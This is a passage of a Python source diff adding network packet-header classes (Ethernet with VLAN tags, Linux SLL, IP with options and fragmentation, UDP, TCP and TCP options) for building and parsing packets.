+            'VLAN Identifier: {0}'.format(self.get_vid())))
+
+
+class Ethernet(Header):
+    def __init__(self, aBuffer = None):
+        Header.__init__(self, 14)
+        self.tag_cnt = 0
+        if(aBuffer):
+            self.load_header(aBuffer)
+
+    def set_ether_type(self, aValue):
+        "Set ethernet data type field to 'aValue'"
+        self.set_word(12 + 4*self.tag_cnt, aValue)
+
+    def get_ether_type(self):
+        "Return ethernet data type field"
+        return self.get_word(12 + 4*self.tag_cnt)
+
+    def get_tag(self, index):
+        """Returns an EthernetTag initialized from index-th VLAN tag.
+           The tags are numbered from 0 to self.tag_cnt-1 as they appear in the frame.
+           It is possible to use negative indexes as well."""
+        index = self.__validate_tag_index(index)
+        return EthernetTag(self.get_long(12+4*index))
+
+    def set_tag(self, index, tag):
+        """Sets the index-th VLAN tag to contents of an EthernetTag object.
+           The tags are numbered from 0 to self.tag_cnt-1 as they appear in the frame.
+           It is possible to use negative indexes as well."""
+        index = self.__validate_tag_index(index)
+        pos = 12 + 4*index
+        for i,val in enumerate(tag.get_bytes()):
+            self.set_byte(pos+i, val)
+
+    def push_tag(self, tag, index=0):
+        """Inserts contents of an EthernetTag object before the index-th VLAN tag.
+           Index defaults to 0 (the top of the stack)."""
+        if index < 0:
+            index += self.tag_cnt
+        pos = 12 + 4*max(0, min(index, self.tag_cnt))
+        data = self.get_bytes()
+        data[pos:pos] = tag.get_bytes()
+        self.set_bytes(data)
+        self.tag_cnt += 1
+
+    def pop_tag(self, index=0):
+        """Removes the index-th VLAN tag and returns it as an EthernetTag object.
+           Index defaults to 0 (the top of the stack)."""
+        index = self.__validate_tag_index(index)
+        pos = 12 + 4*index
+        tag = self.get_long(pos)
+        data = self.get_bytes()
+        del data[pos:pos+4]
+        self.set_bytes(data)
+        self.tag_cnt -= 1
+        return EthernetTag(tag)
+
+    def load_header(self, aBuffer):
+        self.tag_cnt = 0
+        while aBuffer[12+4*self.tag_cnt:14+4*self.tag_cnt] in (b'\x81\x00', b'\x88\xa8', b'\x91\x00'):
+            self.tag_cnt += 1
+
+        hdr_len = self.get_header_size()
+        diff = hdr_len - len(aBuffer)
+        if diff > 0:
+            aBuffer += b'\x00'*diff
+        self.set_bytes_from_string(aBuffer[:hdr_len])
+
+    def get_header_size(self):
+        "Return size of Ethernet header"
+        return 14 + 4*self.tag_cnt
+
+    def get_packet(self):
+
+        if self.child():
+            try:
+                self.set_ether_type(self.child().ethertype)
+            except:
+                " an Ethernet packet may have a Data() "
+                pass
+        return Header.get_packet(self)
+
+    def get_ether_dhost(self):
+        "Return 48 bit destination ethernet address as a 6 byte array"
+        return self.get_bytes()[0:6]
+
+    def set_ether_dhost(self, aValue):
+        "Set destination ethernet address from 6 byte array 'aValue'"
+        for i in range(0, 6):
+            self.set_byte(i, aValue[i])
+
+    def get_ether_shost(self):
+        "Return 48 bit source ethernet address as a 6 byte array"
+        return self.get_bytes()[6:12]
+
+    def set_ether_shost(self, aValue):
+        "Set source ethernet address from 6 byte array 'aValue'"
+        for i in range(0, 6):
+            self.set_byte(i + 6, aValue[i])
+
+    @staticmethod
+    def as_eth_addr(anArray):
+        tmp_list = [x > 15 and '%x'%x or '0%x'%x for x in anArray]
+        return '' + reduce(lambda x, y: x+':'+y, tmp_list)
+
+    def __str__(self):
+        tmp_str = 'Ether: ' + self.as_eth_addr(self.get_ether_shost()) + ' -> '
+        tmp_str += self.as_eth_addr(self.get_ether_dhost())
+        if self.child():
+            tmp_str += '\n' + str( self.child())
+        return tmp_str
+
+    def __validate_tag_index(self, index):
+        """Adjusts negative indices to their absolute equivalents.
+           Raises IndexError when out of range <0, self.tag_cnt-1>."""
+        if index < 0:
+            index += self.tag_cnt
+        if index < 0 or index >= self.tag_cnt:
+            raise IndexError("Tag index out of range")
+        return index
+
+# Linux "cooked" capture encapsulation.
+# Used, for instance, for packets returned by the "any" interface.
+class LinuxSLL(Header):
+    type_descriptions = [
+        "sent to us by somebody else",
+        "broadcast by somebody else",
+        "multicast by somebody else",
+        "sent to somebody else to somebody else",
+        "sent by us",
+        ]
+
+    def __init__(self, aBuffer = None):
+        Header.__init__(self, 16)
+        if (aBuffer):
+            self.load_header(aBuffer)
+
+    def set_type(self, type):
+        "Sets the packet type field to type"
+        self.set_word(0, type)
+
+    def get_type(self):
+        "Returns the packet type field"
+        return self.get_word(0)
+
+    def set_arphdr(self, value):
+        "Sets the ARPHDR value for the link layer device type"
+        self.set_word(2, type)
+
+    def get_arphdr(self):
+        "Returns the ARPHDR value for the link layer device type"
+        return self.get_word(2)
+
+    def set_addr_len(self, len):
+        "Sets the length of the sender's address field to len"
+        self.set_word(4, len)
+
+    def get_addr_len(self):
+        "Returns the length of the sender's address field"
+        return self.get_word(4)
+
+    def set_addr(self, addr):
+        "Sets the sender's address field to addr. Addr must be at most 8-byte long."
+        if (len(addr) < 8):
+            addr += b'\0' * (8 - len(addr))
+        self.get_bytes()[6:14] = addr
+
+    def get_addr(self):
+        "Returns the sender's address field"
+        return array_tobytes(self.get_bytes()[6:14])
+
+    def set_ether_type(self, aValue):
+        "Set ethernet data type field to 'aValue'"
+        self.set_word(14, aValue)
+
+    def get_ether_type(self):
+        "Return ethernet data type field"
+        return self.get_word(14)
+
+    def get_header_size(self):
+        "Return size of packet header"
+        return 16
+
+    def get_packet(self):
+        if self.child():
+            self.set_ether_type(self.child().ethertype)
+        return Header.get_packet(self)
+
+    def get_type_desc(self):
+        type = self.get_type()
+        if type < len(LinuxSLL.type_descriptions):
+            return LinuxSLL.type_descriptions[type]
+        else:
+            return "Unknown"
+
+    def __str__(self):
+        ss = []
+        alen = self.get_addr_len()
+        addr = hexlify(self.get_addr()[0:alen])
+        ss.append("Linux SLL: addr=%s type=`%s'" % (addr, self.get_type_desc()))
+        if self.child():
+            ss.append(str(self.child()))
+
+        return '\n'.join(ss)
+
+
+class IP(Header):
+    ethertype = 0x800
+    def __init__(self, aBuffer = None):
+        Header.__init__(self, 20)
+        self.set_ip_v(4)
+        self.set_ip_hl(5)
+        self.set_ip_ttl(255)
+        self.__option_list = []
+        if(aBuffer):
+            # When decoding, checksum shouldn't be modified
+            self.auto_checksum = 0
+            self.load_header(aBuffer)
+            
+        if sys.platform.count('bsd'):
+            self.is_BSD = True
+        else:
+            self.is_BSD = False
+
+
+    def get_packet(self):
+        # set protocol
+        if self.get_ip_p() == 0 and self.child():
+            self.set_ip_p(self.child().protocol)
+
+        # set total length
+        if self.get_ip_len() == 0:
+            self.set_ip_len(self.get_size())
+
+        child_data = self.get_data_as_string()
+
+        if self.auto_checksum:
+            self.reset_ip_sum()
+
+        my_bytes = self.get_bytes()
+
+        for op in self.__option_list:
+            my_bytes.extend(op.get_bytes())
+
+        # Pad to a multiple of 4 bytes
+        num_pad = (4 - (len(my_bytes) % 4)) % 4
+        if num_pad:
+            array_frombytes(my_bytes, b"\0" * num_pad)
+
+        # only change ip_hl value if options are present
+        if len(self.__option_list):
+            self.set_ip_hl(len(my_bytes) // 4)
+
+
+        # set the checksum if the user hasn't modified it
+        if self.auto_checksum:
+            self.set_ip_sum(self.compute_checksum(my_bytes))
+
+        if child_data is None:
+            return array_tobytes(my_bytes)
+        else:
+            return array_tobytes(my_bytes) + child_data
+
+
+
+    #  def calculate_checksum(self, buffer = None):
+    #      tmp_value = self.get_ip_sum()
+    #      if self.auto_checksum and (not tmp_value):
+    #          if buffer:
+    #              tmp_bytes = buffer
+    #          else:
+    #              tmp_bytes = self.bytes[0:self.get_header_size()]
+    #
+    #          self.set_ip_sum(self.compute_checksum(tmp_bytes))
+
+
+    def get_pseudo_header(self):
+        pseudo_buf = array.array("B")
+        pseudo_buf.extend(self.get_bytes()[12:20])
+        pseudo_buf.fromlist([0])
+        pseudo_buf.extend(self.get_bytes()[9:10])
+        tmp_size = self.child().get_size()
+
+        size_str = struct.pack("!H", tmp_size)
+
+        array_frombytes(pseudo_buf, size_str)
+        return pseudo_buf
+
+    def add_option(self, option):
+        self.__option_list.append(option)
+        sum = 0
+        for op in self.__option_list:
+            sum += op.get_len()
+        if sum > 40:
+            raise ImpactPacketException("Options overflowed in IP packet with length: %d" % sum)
+
+
+    def get_ip_v(self):
+        n = self.get_byte(0)
+        return (n >> 4)
+
+    def set_ip_v(self, value):
+        n = self.get_byte(0)
+        version = value & 0xF
+        n = n & 0xF
+        n = n | (version << 4)
+        self.set_byte(0, n)
+
+    def get_ip_hl(self):
+        n = self.get_byte(0)
+        return (n & 0xF)
+
+    def set_ip_hl(self, value):
+        n = self.get_byte(0)
+        len = value & 0xF
+        n = n & 0xF0
+        n = (n | len)
+        self.set_byte(0, n)
+
+    def get_ip_tos(self):
+        return self.get_byte(1)
+
+    def set_ip_tos(self,value):
+        self.set_byte(1, value)
+
+    def get_ip_len(self):
+        if self.is_BSD:
+            return self.get_word(2, order = '=')
+        else:
+            return self.get_word(2)
+
+    def set_ip_len(self, value):
+        if self.is_BSD:
+            self.set_word(2, value, order = '=')
+        else:
+            self.set_word(2, value)
+
+    def get_ip_id(self):
+        return self.get_word(4)
+    def set_ip_id(self, value):
+        return self.set_word(4, value)
+
+    def get_ip_off(self):
+        if self.is_BSD:
+            return self.get_word(6, order = '=')
+        else:
+            return self.get_word(6)
+
+    def set_ip_off(self, aValue):
+        if self.is_BSD:
+            self.set_word(6, aValue, order = '=')
+        else:
+            self.set_word(6, aValue)
+
+    def get_ip_offmask(self):
+        return self.get_ip_off() & 0x1FFF
+
+    def set_ip_offmask(self, aValue):
+        tmp_value = self.get_ip_off() & 0xD000
+        tmp_value |= aValue
+        self.set_ip_off(tmp_value)
+
+    def get_ip_rf(self):
+        return self.get_ip_off() & 0x8000
+
+    def set_ip_rf(self, aValue):
+        tmp_value = self.get_ip_off()
+        if aValue:
+            tmp_value |= 0x8000
+        else:
+            my_not = 0xFFFF ^ 0x8000
+            tmp_value &= my_not
+        self.set_ip_off(tmp_value)
+
+    def get_ip_df(self):
+        return self.get_ip_off() & 0x4000
+
+    def set_ip_df(self, aValue):
+        tmp_value = self.get_ip_off()
+        if aValue:
+            tmp_value |= 0x4000
+        else:
+            my_not = 0xFFFF ^ 0x4000
+            tmp_value &= my_not
+        self.set_ip_off(tmp_value)
+
+    def get_ip_mf(self):
+        return self.get_ip_off() & 0x2000
+
+    def set_ip_mf(self, aValue):
+        tmp_value = self.get_ip_off()
+        if aValue:
+            tmp_value |= 0x2000
+        else:
+            my_not = 0xFFFF ^ 0x2000
+            tmp_value &= my_not
+        self.set_ip_off(tmp_value)
+
+
+    def fragment_by_list(self, aList):
+        if self.child():
+            proto = self.child().protocol
+        else:
+            proto = 0
+
+        child_data = self.get_data_as_string()
+        if not child_data:
+            return [self]
+
+        ip_header_bytes = self.get_bytes()
+        current_offset = 0
+        fragment_list = []
+
+        for frag_size in aList:
+            ip = IP()
+            ip.set_bytes(ip_header_bytes) # copy of original header
+            ip.set_ip_p(proto)
+
+
+            if frag_size % 8:   # round this fragment size up to next multiple of 8
+                frag_size += 8 - (frag_size % 8)
+
+
+            ip.set_ip_offmask(current_offset // 8)
+            current_offset += frag_size
+
+            data = Data(child_data[:frag_size])
+            child_data = child_data[frag_size:]
+
+            ip.set_ip_len(20 + data.get_size())
+            ip.contains(data)
+
+
+            if child_data:
+
+                ip.set_ip_mf(1)
+
+                fragment_list.append(ip)
+            else: # no more data bytes left to add to fragments
+
+                ip.set_ip_mf(0)
+
+                fragment_list.append(ip)
+                return fragment_list
+
+        if child_data: # any remaining data?
+            # create a fragment containing all of the remaining child_data
+            ip = IP()
+            ip.set_bytes(ip_header_bytes)
+            ip.set_ip_offmask(current_offset)
+            ip.set_ip_len(20 + len(child_data))
+            data = Data(child_data)
+            ip.contains(data)
+            fragment_list.append(ip)
+
+        return fragment_list
+
+
+    def fragment_by_size(self, aSize):
+        data_len = len(self.get_data_as_string())
+        num_frags = data_len // aSize
+
+        if data_len % aSize:
+            num_frags += 1
+
+        size_list = []
+        for i in range(0, num_frags):
+            size_list.append(aSize)
+        return self.fragment_by_list(size_list)
+
+
+    def get_ip_ttl(self):
+        return self.get_byte(8)
+    def set_ip_ttl(self, value):
+        self.set_byte(8, value)
+
+    def get_ip_p(self):
+        return self.get_byte(9)
+
+    def set_ip_p(self, value):
+        self.set_byte(9, value)
+
+    def get_ip_sum(self):
+        return self.get_word(10)
+    def set_ip_sum(self, value):
+        self.auto_checksum = 0
+        self.set_word(10, value)
+
+    def reset_ip_sum(self):
+        self.set_ip_sum(0x0000)
+        self.auto_checksum = 1
+
+    def get_ip_src(self):
+        return self.get_ip_address(12)
+    def set_ip_src(self, value):
+        self.set_ip_address(12, value)
+
+    def get_ip_dst(self):
+        return self.get_ip_address(16)
+
+    def set_ip_dst(self, value):
+        self.set_ip_address(16, value)
+
+    def get_header_size(self):
+        op_len = 0
+        for op in self.__option_list:
+            op_len += op.get_len()
+
+        num_pad = (4 - (op_len % 4)) % 4
+
+        return 20 + op_len + num_pad
+
+    def load_header(self, aBuffer):
+        self.set_bytes_from_string(aBuffer[:20])
+        opt_left = (self.get_ip_hl() - 5) * 4
+        opt_bytes = array.array('B', aBuffer[20:(20 + opt_left)])
+        if len(opt_bytes) != opt_left:
+            raise ImpactPacketException("Cannot load options from truncated packet")
+
+
+        while opt_left:
+            op_type = opt_bytes[0]
+            if op_type == IPOption.IPOPT_EOL or op_type == IPOption.IPOPT_NOP:
+                new_option = IPOption(op_type)
+                op_len = 1
+            else:
+                op_len = opt_bytes[1]
+                if op_len > len(opt_bytes):
+                    raise ImpactPacketException("IP Option length is too high")
+
+                new_option = IPOption(op_type, op_len)
+                new_option.set_bytes(opt_bytes[:op_len])
+
+            opt_bytes = opt_bytes[op_len:]
+            opt_left -= op_len
+            self.add_option(new_option)
+            if op_type == IPOption.IPOPT_EOL:
+                break
+
+
+    def __str__(self):
+        flags = ' '
+        if self.get_ip_df():
+            flags += 'DF '
+        if self.get_ip_mf():
+            flags += 'MF '
+        if self.get_ip_rf():
+            flags += 'RF '
+        tmp_str = 'IP%s%s -> %s ' % (flags, self.get_ip_src(),self.get_ip_dst())
+        for op in self.__option_list:
+            tmp_str += '\n' + str(op)
+        if self.child():
+            tmp_str += '\n' + str(self.child())
+        return tmp_str
+
+
+class IPOption(PacketBuffer):
+    IPOPT_EOL = 0
+    IPOPT_NOP = 1
+    IPOPT_RR = 7
+    IPOPT_TS = 68
+    IPOPT_LSRR = 131
+    IPOPT_SSRR = 137
+
+    def __init__(self, opcode = 0, size = None):
+        if size and (size < 3 or size > 40):
+            raise ImpactPacketException("IP Options must have a size between 3 and 40 bytes")
+
+        if(opcode == IPOption.IPOPT_EOL):
+            PacketBuffer.__init__(self, 1)
+            self.set_code(IPOption.IPOPT_EOL)
+        elif(opcode == IPOption.IPOPT_NOP):
+            PacketBuffer.__init__(self, 1)
+            self.set_code(IPOption.IPOPT_NOP)
+        elif(opcode == IPOption.IPOPT_RR):
+            if not size:
+                size = 39
+            PacketBuffer.__init__(self, size)
+            self.set_code(IPOption.IPOPT_RR)
+            self.set_len(size)
+            self.set_ptr(4)
+
+        elif(opcode == IPOption.IPOPT_LSRR):
+            if not size:
+                size = 39
+            PacketBuffer.__init__(self, size)
+            self.set_code(IPOption.IPOPT_LSRR)
+            self.set_len(size)
+            self.set_ptr(4)
+
+        elif(opcode == IPOption.IPOPT_SSRR):
+            if not size:
+                size = 39
+            PacketBuffer.__init__(self, size)
+            self.set_code(IPOption.IPOPT_SSRR)
+            self.set_len(size)
+            self.set_ptr(4)
+
+        elif(opcode == IPOption.IPOPT_TS):
+            if not size:
+                size = 40
+            PacketBuffer.__init__(self, size)
+            self.set_code(IPOption.IPOPT_TS)
+            self.set_len(size)
+            self.set_ptr(5)
+            self.set_flags(0)
+        else:
+            if not size:
+                raise ImpactPacketException("Size required for this type")
+            PacketBuffer.__init__(self,size)
+            self.set_code(opcode)
+            self.set_len(size)
+
+
+    def append_ip(self, ip):
+        op = self.get_code()
+        if not (op == IPOption.IPOPT_RR or op == IPOption.IPOPT_LSRR or op == IPOption.IPOPT_SSRR or op == IPOption.IPOPT_TS):
+            raise ImpactPacketException("append_ip() not support for option type %d" % self.opt_type)
+
+        p = self.get_ptr()
+        if not p:
+            raise ImpactPacketException("append_ip() failed, option ptr uninitialized")
+
+        if (p + 4) > self.get_len():
+            raise ImpactPacketException("append_ip() would overflow option")
+
+        self.set_ip_address(p - 1, ip)
+        p += 4
+        self.set_ptr(p)
+
+
+    def set_code(self, value):
+        self.set_byte(0, value)
+
+    def get_code(self):
+        return self.get_byte(0)
+
+
+    def set_flags(self, flags):
+        if not (self.get_code() == IPOption.IPOPT_TS):
+            raise ImpactPacketException("Operation only supported on Timestamp option")
+        self.set_byte(3, flags)
+
+    def get_flags(self, flags):
+        if not (self.get_code() == IPOption.IPOPT_TS):
+            raise ImpactPacketException("Operation only supported on Timestamp option")
+        return self.get_byte(3)
+
+
+    def set_len(self, len):
+        self.set_byte(1, len)
+
+
+    def set_ptr(self, ptr):
+        self.set_byte(2, ptr)
+
+    def get_ptr(self):
+        return self.get_byte(2)
+
+    def get_len(self):
+        return len(self.get_bytes())
+
+
+    def __str__(self):
+        map = {IPOption.IPOPT_EOL : "End of List ",
+               IPOption.IPOPT_NOP : "No Operation ",
+               IPOption.IPOPT_RR  : "Record Route ",
+               IPOption.IPOPT_TS  : "Timestamp ",
+               IPOption.IPOPT_LSRR : "Loose Source Route ",
+               IPOption.IPOPT_SSRR : "Strict Source Route "}
+
+        tmp_str = "\tIP Option: "
+        op = self.get_code()
+        if op in map:
+            tmp_str += map[op]
+        else:
+            tmp_str += "Code: %d " % op
+
+        if op == IPOption.IPOPT_RR or op == IPOption.IPOPT_LSRR or op ==IPOption.IPOPT_SSRR:
+            tmp_str += self.print_addresses()
+
+
+        return tmp_str
+
+
+    def print_addresses(self):
+        p = 3
+        tmp_str = "["
+        if self.get_len() >= 7: # at least one complete IP address
+            while 1:
+                if p + 1 == self.get_ptr():
+                    tmp_str += "#"
+                tmp_str += self.get_ip_address(p)
+                p += 4
+                if p >= self.get_len():
+                    break
+                else:
+                    tmp_str += ", "
+        tmp_str += "] "
+        if self.get_ptr() % 4: # ptr field should be a multiple of 4
+            tmp_str += "nonsense ptr field: %d " % self.get_ptr()
+        return tmp_str
+
+
+class UDP(Header):
+    protocol = 17
+    def __init__(self, aBuffer = None):
+        Header.__init__(self, 8)
+        if(aBuffer):
+            self.load_header(aBuffer)
+
+    def get_uh_sport(self):
+        return self.get_word(0)
+    def set_uh_sport(self, value):
+        self.set_word(0, value)
+
+    def get_uh_dport(self):
+        return self.get_word(2)
+    def set_uh_dport(self, value):
+        self.set_word(2, value)
+
+    def get_uh_ulen(self):
+        return self.get_word(4)
+
+    def set_uh_ulen(self, value):
+        self.set_word(4, value)
+
+    def get_uh_sum(self):
+        return self.get_word(6)
+
+    def set_uh_sum(self, value):
+        self.set_word(6, value)
+        self.auto_checksum = 0
+
+    def calculate_checksum(self):
+        if self.auto_checksum and (not self.get_uh_sum()):
+            # if there isn't a parent to grab a pseudo-header from we'll assume the user knows what they're doing
+            # and won't meddle with the checksum or throw an exception
+            if not self.parent():
+                return
+
+            buffer = self.parent().get_pseudo_header()
+
+            buffer += self.get_bytes()
+            data = self.get_data_as_string()
+            if(data):
+                array_frombytes(buffer, data)
+            self.set_uh_sum(self.compute_checksum(buffer))
+
+    def get_header_size(self):
+        return 8
+
+    def __str__(self):
+        tmp_str = 'UDP %d -> %d' % (self.get_uh_sport(), self.get_uh_dport())
+        if self.child():
+            tmp_str += '\n' + str(self.child())
+        return tmp_str
+
+    def get_packet(self):
+        # set total length
+        if(self.get_uh_ulen() == 0):
+            self.set_uh_ulen(self.get_size())
+        return Header.get_packet(self)
+
+class TCP(Header):
+    protocol = 6
+    TCP_FLAGS_MASK = 0x00FF # lowest 16 bits are the flags
+    def __init__(self, aBuffer = None):
+        Header.__init__(self, 20)
+        self.set_th_off(5)
+        self.__option_list = []
+        if aBuffer:
+            self.load_header(aBuffer)
+
+    def add_option(self, option):
+        self.__option_list.append(option)
+
+        sum = 0
+        for op in self.__option_list:
+            sum += op.get_size()
+
+        if sum > 40:
+            raise ImpactPacketException("Cannot add TCP option, would overflow option space")
+
+    def get_options(self):
+        return self.__option_list
+
+    def swapSourceAndDestination(self):
+        oldSource = self.get_th_sport()
+        self.set_th_sport(self.get_th_dport())
+        self.set_th_dport(oldSource)
+
+    #
+    # Header field accessors
+    #
+
+    def set_th_sport(self, aValue):
+        self.set_word(0, aValue)
+
+    def get_th_sport(self):
+        return self.get_word(0)
+
+    def get_th_dport(self):
+        return self.get_word(2)
+
+    def set_th_dport(self, aValue):
+        self.set_word(2, aValue)
+
+    def get_th_seq(self):
+        return self.get_long(4)
+
+    def set_th_seq(self, aValue):
+        self.set_long(4, aValue)
+
+    def get_th_ack(self):
+        return self.get_long(8)
+
+    def set_th_ack(self, aValue):
+        self.set_long(8, aValue)
+
+    def get_th_flags(self):
+        return self.get_word(12) & self.TCP_FLAGS_MASK
+    
+    def set_th_flags(self, aValue):
+        masked = self.get_word(12) & (~self.TCP_FLAGS_MASK)
+        nb = masked | (aValue & self.TCP_FLAGS_MASK)
+        return self.set_word(12, nb, ">")
+     
+    def get_th_win(self):
+        return self.get_word(14)
+
+    def set_th_win(self, aValue):
+        self.set_word(14, aValue)
+
+    def set_th_sum(self, aValue):
+        self.set_word(16, aValue)
+        self.auto_checksum = 0
+
+    def get_th_sum(self):
+        return self.get_word(16)
+
+    def get_th_urp(self):
+        return self.get_word(18)
+
+    def set_th_urp(self, aValue):
+        return self.set_word(18, aValue)
+
+    # Flag accessors
+
+    def get_th_reserved(self):
+        tmp_value = self.get_byte(12) & 0x0f
+        return tmp_value
+
+
+    def get_th_off(self):
+        tmp_value = self.get_byte(12) >> 4
+        return tmp_value
+
+    def set_th_off(self, aValue):
+        mask = 0xF0
+        masked = self.get_byte(12) & (~mask)
+        nb = masked | ( (aValue << 4) & mask)
+        return self.set_byte(12, nb)
+
+    def get_CWR(self):
+        return self.get_flag(128)
+    def set_CWR(self):
+        return self.set_flags(128)
+    def reset_CWR(self):
+        return self.reset_flags(128)
+
+    def get_ECE(self):
+        return self.get_flag(64)
+    def set_ECE(self):
+        return self.set_flags(64)
+    def reset_ECE(self):
+        return self.reset_flags(64)
+
+    def get_URG(self):
+        return self.get_flag(32)
+    def set_URG(self):
+        return self.set_flags(32)
+    def reset_URG(self):
+        return self.reset_flags(32)
+
+    def get_ACK(self):
+        return self.get_flag(16)
+    def set_ACK(self):
+        return self.set_flags(16)
+    def reset_ACK(self):
+        return self.reset_flags(16)
+
+    def get_PSH(self):
+        return self.get_flag(8)
+    def set_PSH(self):
+        return self.set_flags(8)
+    def reset_PSH(self):
+        return self.reset_flags(8)
+
+    def get_RST(self):
+        return self.get_flag(4)
+    def set_RST(self):
+        return self.set_flags(4)
+    def reset_RST(self):
+        return self.reset_flags(4)
+
+    def get_SYN(self):
+        return self.get_flag(2)
+    def set_SYN(self):
+        return self.set_flags(2)
+    def reset_SYN(self):
+        return self.reset_flags(2)
+
+    def get_FIN(self):
+        return self.get_flag(1)
+    def set_FIN(self):
+        return self.set_flags(1)
+    def reset_FIN(self):
+        return self.reset_flags(1)
+
+    # Overridden Methods
+
+    def get_header_size(self):
+        return 20 + len(self.get_padded_options())
+
+    def calculate_checksum(self):
+        if not self.auto_checksum or not self.parent():
+            return
+
+        self.set_th_sum(0)
+        buffer = self.parent().get_pseudo_header()
+        buffer += self.get_bytes()
+        buffer += self.get_padded_options()
+
+        data = self.get_data_as_string()
+        if(data):
+            array_frombytes(buffer, data)
+
+        res = self.compute_checksum(buffer)
+
+        self.set_th_sum(self.compute_checksum(buffer))
+
+    def get_packet(self):
+        "Returns entire packet including child data as a string.  This is the function used to extract the final packet"
+
+        # only change th_off value if options are present
+        if len(self.__option_list):
+            self.set_th_off(self.get_header_size() // 4)
+
+        self.calculate_checksum()
+
+        bytes = self.get_bytes() + self.get_padded_options()
+        data = self.get_data_as_string()
+
+        if data:
+            return array_tobytes(bytes) + data
+        else:
+            return array_tobytes(bytes)
+
+    def load_header(self, aBuffer):
+        self.set_bytes_from_string(aBuffer[:20])
+        opt_left = (self.get_th_off() - 5) * 4
+        opt_bytes = array.array('B', aBuffer[20:(20 + opt_left)])
+        if len(opt_bytes) != opt_left:
+            raise ImpactPacketException("Cannot load options from truncated packet")
+
+        while opt_left:
+            op_kind = opt_bytes[0]
+            if op_kind == TCPOption.TCPOPT_EOL or op_kind == TCPOption.TCPOPT_NOP:
+                new_option = TCPOption(op_kind)
+                op_len = 1
+            else:
+                op_len = opt_bytes[1]
+                if op_len > len(opt_bytes):
+                    raise ImpactPacketException("TCP Option length is too high")
+                if op_len < 2:
+                    raise ImpactPacketException("TCP Option length is too low")
+
+                new_option = TCPOption(op_kind)
+                new_option.set_bytes(opt_bytes[:op_len])
+
+            opt_bytes = opt_bytes[op_len:]
+            opt_left -= op_len
+            self.add_option(new_option)
+            if op_kind == TCPOption.TCPOPT_EOL:
+                break
+
+    #
+    # Private
+    #
+
+    def get_flag(self, bit):
+        if self.get_th_flags() & bit:
+            return 1
+        else:
+            return 0
+
+    def reset_flags(self, aValue):
+        tmp_value = self.get_th_flags() & (~aValue)
+        return self.set_th_flags(tmp_value)
+
+    def set_flags(self, aValue):
+        tmp_value =  self.get_th_flags() | aValue
+        return self.set_th_flags(tmp_value)
+
+    def get_padded_options(self):
+        "Return an array containing all options padded to a 4 byte boundary"
+        op_buf = array.array('B')
+        for op in self.__option_list:
+            op_buf += op.get_bytes()
+        num_pad = (4 - (len(op_buf) % 4)) % 4
+        if num_pad:
+            array_frombytes(op_buf, b"\0" * num_pad)
+        return op_buf
+
+    def __str__(self):
+        tmp_str = 'TCP '
+        if self.get_ECE():
+            tmp_str += 'ece '
+        if self.get_CWR():
+            tmp_str += 'cwr '
+        if self.get_ACK():
+            tmp_str += 'ack '
+        if self.get_FIN():
+            tmp_str += 'fin '
+        if self.get_PSH():
+            tmp_str += 'push '
+        if self.get_RST():
+            tmp_str += 'rst '
+        if self.get_SYN():
+            tmp_str += 'syn '
+        if self.get_URG():
+            tmp_str += 'urg '
+        tmp_str += '%d -> %d' % (self.get_th_sport(), self.get_th_dport())
+        for op in self.__option_list:
+            tmp_str += '\n' + str(op)
+
+        if self.child():
+            tmp_str += '\n' + str(self.child())
+        return tmp_str
+
+
+class TCPOption(PacketBuffer):
+    TCPOPT_EOL =             0
+    TCPOPT_NOP  =            1
+    TCPOPT_MAXSEG =          2
+    TCPOPT_WINDOW  =         3
+    TCPOPT_SACK_PERMITTED =  4
+    TCPOPT_SACK         =    5
+    TCPOPT_TIMESTAMP    =    8
+    TCPOPT_SIGNATURE    =    19
+
+
+    def __init__(self, kind, data = None):
+
+        if kind == TCPOption.TCPOPT_EOL:
+            PacketBuffer.__init__(self, 1)
+            self.set_kind(TCPOption.TCPOPT_EOL)
+        elif kind == TCPOption.TCPOPT_NOP:
+            PacketBuffer.__init__(self, 1)
+            self.set_kind(TCPOption.TCPOPT_NOP)
+        elif kind == TCPOption.TCPOPT_MAXSEG:
+            PacketBuffer.__init__(self, 4)
+            self.set_kind(TCPOption.TCPOPT_MAXSEG)
+            self.set_len(4)
+            if data:
+                self.set_mss(data)
+            else:
+                self.set_mss(512)
+        elif kind == TCPOption.TCPOPT_WINDOW:
+            PacketBuffer.__init__(self, 3)
+            self.set_kind(TCPOption.TCPOPT_WINDOW)
+            self.set_len(3)
+            if data:
+                self.set_shift_cnt(data)
+            else:
+                self.set_shift_cnt(0)
+        elif kind == TCPOption.TCPOPT_TIMESTAMP:
+            PacketBuffer.__init__(self, 10)
+            self.set_kind(TCPOption.TCPOPT_TIMESTAMP)
+            self.set_len(10)
+            if data:
+                self.set_ts(data)
+            else:
+                self.set_ts(0)
+        elif kind == TCPOption.TCPOPT_SACK_PERMITTED:
+            PacketBuffer.__init__(self, 2)
+            self.set_kind(TCPOption.TCPOPT_SACK_PERMITTED)
+            self.set_len(2)                
+
+        elif kind == TCPOption.TCPOPT_SACK:
+            PacketBuffer.__init__(self, 2)
+            self.set_kind(TCPOption.TCPOPT_SACK)
+
+    def set_left_edge(self, aValue):
+        self.set_long (2, aValue)
+
+    def set_right_edge(self, aValue):
+        self.set_long (6, aValue)
+
+    def set_kind(self, kind):
+        self.set_byte(0, kind)
+
+
+    def get_kind(self):
+        return self.get_byte(0)
+
+
+    def set_len(self, len):
+        if self.get_size() < 2:
+            raise ImpactPacketException("Cannot set length field on an option having a size smaller than 2 bytes")
+        self.set_byte(1, len)
+
+    def get_len(self):
+        if self.get_size() < 2:
+            raise ImpactPacketException("Cannot retrieve length field from an option having a size smaller than 2 bytes")
+        return self.get_byte(1)
+
+    def get_size(self):
+        return len(self.get_bytes())
+
+
+    def set_mss(self, len):
+        if self.get_kind() != TCPOption.TCPOPT_MAXSEG:
+            raise ImpactPacketException("Can only set MSS on TCPOPT_MAXSEG option")
+        self.set_word(2, len)
+
+    def get_mss(self):
+        if self.get_kind() != TCPOption.TCPOPT_MAXSEG:
+            raise ImpactPacketException("Can only retrieve MSS from TCPOPT_MAXSEG option")
+        return self.get_word(2)
+
+    def set_shift_cnt(self, cnt):
+        if self.get_kind() != TCPOption.TCPOPT_WINDOW:
+            raise ImpactPacketException("Can only set Shift Count on TCPOPT_WINDOW option")
+        self.set_byte(2, cnt)
+
+    def get_shift_cnt(self):
+        if self.get_kind() != TCPOption.TCPOPT_WINDOW:
+            raise ImpactPacketException("Can only retrieve Shift Count from TCPOPT_WINDOW option")
+        return self.get_byte(2)
+
+    def get_ts(self):
+        if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP:
